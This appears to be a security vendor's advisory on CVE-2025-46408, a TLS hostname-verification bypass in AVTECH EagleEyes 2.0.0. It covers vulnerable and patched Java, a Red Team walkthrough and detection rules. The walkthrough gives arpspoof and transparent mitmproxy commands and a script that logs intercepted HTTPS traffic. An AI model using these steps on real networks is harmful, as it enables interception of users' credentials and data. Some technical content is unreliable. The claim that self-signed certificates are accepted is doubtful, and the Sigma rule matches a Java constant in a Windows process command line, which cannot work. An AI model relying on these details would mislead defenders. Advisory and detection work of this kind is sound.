CVE-2025-46408

Executive Summary

CVE-2025-46408 is a critical security advisory affecting AVTECH EagleEyes version 2.0.0. The vulnerability resides in the methods push.lite.avtech.com.AvtechLib.GetHttpsResponse and push.lite.avtech.com.Push_HttpService.getNewHttpClient. These methods explicitly set ALLOW_ALL_HOSTNAME_VERIFIER, which bypasses SSL/TLS hostname validation. This allows an attacker to perform man-in-the-middle (MITM) attacks, intercepting and potentially modifying HTTPS traffic between the EagleEyes application and its backend services. The vulnerability is unpatched, and no official fix has been released by AVTECH.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in the AVTECH EagleEyes software.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full assessment. However, based on the nature of the vulnerability (improper certificate validation), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): None (N)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N Base Score: 9.1 (Critical)

Threat Level: Critical. The vulnerability allows complete bypass of TLS security, enabling data theft, credential harvesting, and injection of malicious content.

Deep Dive & Mechanics

The vulnerability is a classic case of improper certificate validation (CWE-295). In Java, HttpsURLConnection by default validates the server's hostname against the certificate's Subject Alternative Names (SANs) or Common Name (CN). However, developers can override this behavior by setting a custom HostnameVerifier.

The affected code in AvtechLib.GetHttpsResponse and Push_HttpService.getNewHttpClient sets the HostnameVerifier to ALLOW_ALL_HOSTNAME_VERIFIER. This verifier accepts any hostname, effectively disabling hostname verification. An attacker with network access (e.g., on the same Wi-Fi network or via DNS spoofing) can present a valid certificate for any domain (or a self-signed certificate) and the application will trust it.

Mechanism:

1. The application initiates an HTTPS connection to push.lite.avtech.com.
2. The attacker intercepts the connection (e.g., ARP spoofing, rogue Wi-Fi).
3. The attacker presents a certificate that is valid (signed by a trusted CA) but for a different domain, or a self-signed certificate.
4. Because ALLOW_ALL_HOSTNAME_VERIFIER is set, the application does not check if the certificate's hostname matches push.lite.avtech.com.
5. The attacker can now decrypt, read, and modify all traffic.

Vulnerable vs. Patched Code

Vulnerable Code (Java):

// In AvtechLib.GetHttpsResponse or Push_HttpService.getNewHttpClient
HttpsURLConnection connection = (HttpsURLConnection) url.openConnection();
connection.setHostnameVerifier(ALLOW_ALL_HOSTNAME_VERIFIER);

Patched Code (Recommended):

// Remove the custom hostname verifier or use the default
HttpsURLConnection connection = (HttpsURLConnection) url.openConnection();
// Do not set a custom hostname verifier; default is used.
// Or explicitly set the default:
connection.setHostnameVerifier(HttpsURLConnection.getDefaultHostnameVerifier());

The patch simply removes the line that sets ALLOW_ALL_HOSTNAME_VERIFIER, allowing the default hostname verification to occur.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Attacker machine with Kali Linux or similar.
• Target machine running AVTECH EagleEyes 2.0.0.
• Network access to the target (e.g., same LAN).

Steps:

1. Set up MITM proxy: Use mitmproxy or Burp Suite to intercept traffic.
2. ARP spoofing: Use arpspoof to redirect traffic from the target to the attacker.

   arpspoof -i eth0 -t <target_ip> <gateway_ip>
   arpspoof -i eth0 -t <gateway_ip> <target_ip>
   

3. Configure proxy: In mitmproxy, enable transparent mode.

   mitmproxy --mode transparent --listen-port 8080
   

4. Generate a certificate: mitmproxy will generate a CA certificate. Install it on the target device (if needed, but the vulnerability bypasses hostname check, so any cert works).
5. Trigger the vulnerable function: Use the EagleEyes application to perform an action that calls GetHttpsResponse or getNewHttpClient.
6. Intercept traffic: The attacker can now view and modify all HTTPS traffic.

Exploit Code (Python using mitmproxy):

# mitmproxy inline script to log all requests
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    print(f"Request: {flow.request.method} {flow.request.pretty_url}")
    print(f"Headers: {flow.request.headers}")
    print(f"Content: {flow.request.text}")

def response(flow: http.HTTPFlow) -> None:
    print(f"Response: {flow.response.status_code}")
    print(f"Headers: {flow.response.headers}")
    print(f"Content: {flow.response.text}")

Blue Team

Detection:

• Monitor for unexpected SSL/TLS certificates in network traffic.
• Use network intrusion detection systems (NIDS) to detect MITM attacks.
• Check for the presence of ALLOW_ALL_HOSTNAME_VERIFIER in the application's code or configuration.

Mitigation:

• Apply the patch by removing the custom hostname verifier.
• Implement certificate pinning to ensure only specific certificates are trusted.
• Use network segmentation to limit exposure.
• Deploy endpoint detection and response (EDR) solutions to monitor for suspicious processes.

Indicators of Compromise (IOCs)

• Network:
  • Unexpected SSL/TLS certificates for push.lite.avtech.com.
  • Traffic to push.lite.avtech.com with mismatched hostnames.
  • ARP spoofing activity (e.g., duplicate IP addresses in ARP tables).
• Host:
  • Presence of ALLOW_ALL_HOSTNAME_VERIFIER in Java class files.
  • Modified HttpsURLConnection configurations.
• Logs:
  • Application logs showing SSL handshake errors or warnings.
  • System logs indicating ARP cache poisoning.

Detection Engineering

YARA Rule

rule CVE_2025_46408_AVTECH_EagleEyes {
    meta:
        description = "Detects the vulnerable ALLOW_ALL_HOSTNAME_VERIFIER in AVTECH EagleEyes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46408"
    strings:
        $s1 = "ALLOW_ALL_HOSTNAME_VERIFIER" ascii wide nocase
        $s2 = "setHostnameVerifier" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-46408 - AVTECH EagleEyes SSL Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the use of ALLOW_ALL_HOSTNAME_VERIFIER in AVTECH EagleEyes
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\\java.exe'
        CommandLine|contains: 'ALLOW_ALL_HOSTNAME_VERIFIER'
    condition: selection
falsepositives:
    - Unknown
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-46408 - AVTECH EagleEyes SSL Bypass"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; within:1; content:"push.lite.avtech.com"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable feature: If possible, disable the functionality that uses GetHttpsResponse or getNewHttpClient.
2. Network segmentation: Isolate devices running EagleEyes from untrusted networks.
3. Monitor traffic: Use network monitoring tools to detect MITM attacks.

Long-term Fix:

• Apply patch: Remove the ALLOW_ALL_HOSTNAME_VERIFIER setting from the code.
• Certificate pinning: Implement certificate pinning to ensure only specific certificates are trusted.
• Update software: Check for official updates from AVTECH.

Workarounds:

• Use a VPN to encrypt traffic between the EagleEyes application and its backend.
• Deploy a web application firewall (WAF) to inspect HTTPS traffic.

Valters IT
Securing Digital Frontiers